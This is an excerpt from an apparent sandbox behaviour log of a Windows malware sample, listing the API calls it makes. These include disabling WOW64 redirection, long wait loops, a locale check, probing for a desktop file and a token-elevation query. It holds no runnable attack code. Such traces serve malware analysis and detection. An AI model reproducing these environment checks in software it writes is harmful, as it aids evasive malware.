Size=0x50) returned 0x74f418 [0053.642] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0053.642] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0053.642] Wow64DisableWow64FsRedirection (in: OldValue=0x342f8e4 | out: OldValue=0x342f8e4*=0x0) returned 1 [0053.643] GetProcessHeap () returned 0x730000 [0053.643] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74f418 | out: hHeap=0x730000) returned 1 [0053.643] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.643] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.643] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.643] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.643] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.643] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.643] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.643] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.643] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.644] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.644] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.644] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.644] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.644] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.644] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.644] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.644] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.644] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.644] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.645] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.645] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.645] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.645] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.645] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.645] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.645] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.645] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.645] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.645] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.646] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.646] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.646] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.646] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.646] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.646] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.646] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.646] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.646] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.646] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.647] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.647] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.647] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.647] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.647] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.647] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.647] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.647] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.647] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.647] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.648] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.648] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.648] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.648] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.648] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.648] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.648] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.648] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.648] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.648] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.649] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.649] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.649] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.649] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.649] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.649] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.649] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.649] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.649] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.649] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.650] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.650] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.650] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.650] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.650] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.650] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.650] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.650] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.650] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.650] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.651] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.651] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.651] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.651] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.651] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.651] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.651] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.651] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.651] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.651] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.652] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.652] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.652] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.652] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.652] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.652] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.652] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.652] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.652] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.653] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.653] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.653] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.653] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.653] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.653] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.653] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.653] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.653] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.653] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.654] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.654] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.654] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.654] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.654] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.654] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.654] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.654] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.654] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.654] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.655] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.655] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.655] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.655] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.655] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.655] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.655] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.655] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.655] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.655] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.656] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.656] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.656] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.656] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.656] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.656] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.656] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.656] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.656] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.657] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.657] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.657] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.657] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.657] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.657] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.657] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.657] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.657] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.657] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.658] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.658] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.658] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.658] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.658] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.658] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.658] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.658] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.658] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.658] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.658] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.659] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.659] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.659] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.659] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.659] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.659] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.659] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.659] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.659] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.659] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.659] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.659] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.660] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.660] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.660] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.660] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.660] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.660] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.660] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.660] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.660] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.660] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.660] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.660] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.660] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.661] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.661] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.661] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.661] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.661] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.661] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.661] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.661] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.661] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.661] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.662] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.662] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.662] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.662] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.662] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.662] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.662] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.662] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.662] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.662] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.663] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.663] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.663] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.663] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.663] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.663] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.663] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.663] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.663] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.663] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.664] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.664] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.664] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.664] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.664] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.664] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.664] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.664] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.664] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.664] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.665] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.665] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.665] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.665] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.665] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.665] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.665] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.665] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.665] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.666] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.666] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.666] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.666] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.666] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.666] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.666] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.666] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.666] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.666] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.666] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.667] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.667] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.667] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.667] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.667] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.667] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 Process: id = "2" image_name = "cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" page_root = "0xb57f000" os_pid = "0xa9c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xbb0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0xaa0 [0046.097] GetProcessHeap () returned 0x6c0000 [0046.097] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x30) returned 0x6d1888 [0046.097] GetProcessHeap () returned 0x6c0000 [0046.097] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x3400) returned 0x6d62d0 [0046.100] GetProcessHeap () returned 0x6c0000 [0046.100] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x300) returned 0x6d96d8 [0046.100] GetProcessHeap () returned 0x6c0000 [0046.100] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6d16f8 [0046.100] GetTickCount () returned 0x114698d [0046.100] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x3bf768, cchData=32 | out: lpLCData="\x03") returned 16 [0046.101] GetProcessHeap () returned 0x6c0000 [0046.101] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6d3b90 [0046.101] GetProcessHeap () returned 0x6c0000 [0046.101] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20a) returned 0x6d9a18 [0046.101] GetProcessHeap () returned 0x6c0000 [0046.101] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20a) returned 0x6d9c30 [0046.101] GetProcessHeap () returned 0x6c0000 [0046.101] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20a) returned 0x6d9e48 [0046.101] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6d9e48, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0x72 [0046.101] GetProcessHeap () returned 0x6c0000 [0046.101] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9e48 | out: hHeap=0x6c0000) returned 1 [0046.101] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\spfs.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.102] GetProcessHeap () returned 0x6c0000 [0046.102] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a18 | out: hHeap=0x6c0000) returned 1 [0046.102] GetProcessHeap () returned 0x6c0000 [0046.102] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9c30 | out: hHeap=0x6c0000) returned 1 [0046.102] GetProcessHeap () returned 0x6c0000 [0046.102] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d3b90 | out: hHeap=0x6c0000) returned 1 [0046.102] GetVersion () returned 0x1db10106 [0046.102] GetCurrentProcess () returned 0xffffffff [0046.102] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3bf6fc | out: TokenHandle=0x3bf6fc*=0xa0) returned 1 [0046.102] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x14, TokenInformation=0x3bf6f4, TokenInformationLength=0x4, ReturnLength=0x3bf6f8 | out: TokenInformation=0x3bf6f4, ReturnLength=0x3bf6f8) returned 1 [0046.102] CloseHandle (hObject=0xa0) returned 1 [0046.102] GetProcessHeap () returned 0x6c0000 [0046.102] RtlAllocateHeap (HeapHandle=0x6c0000, 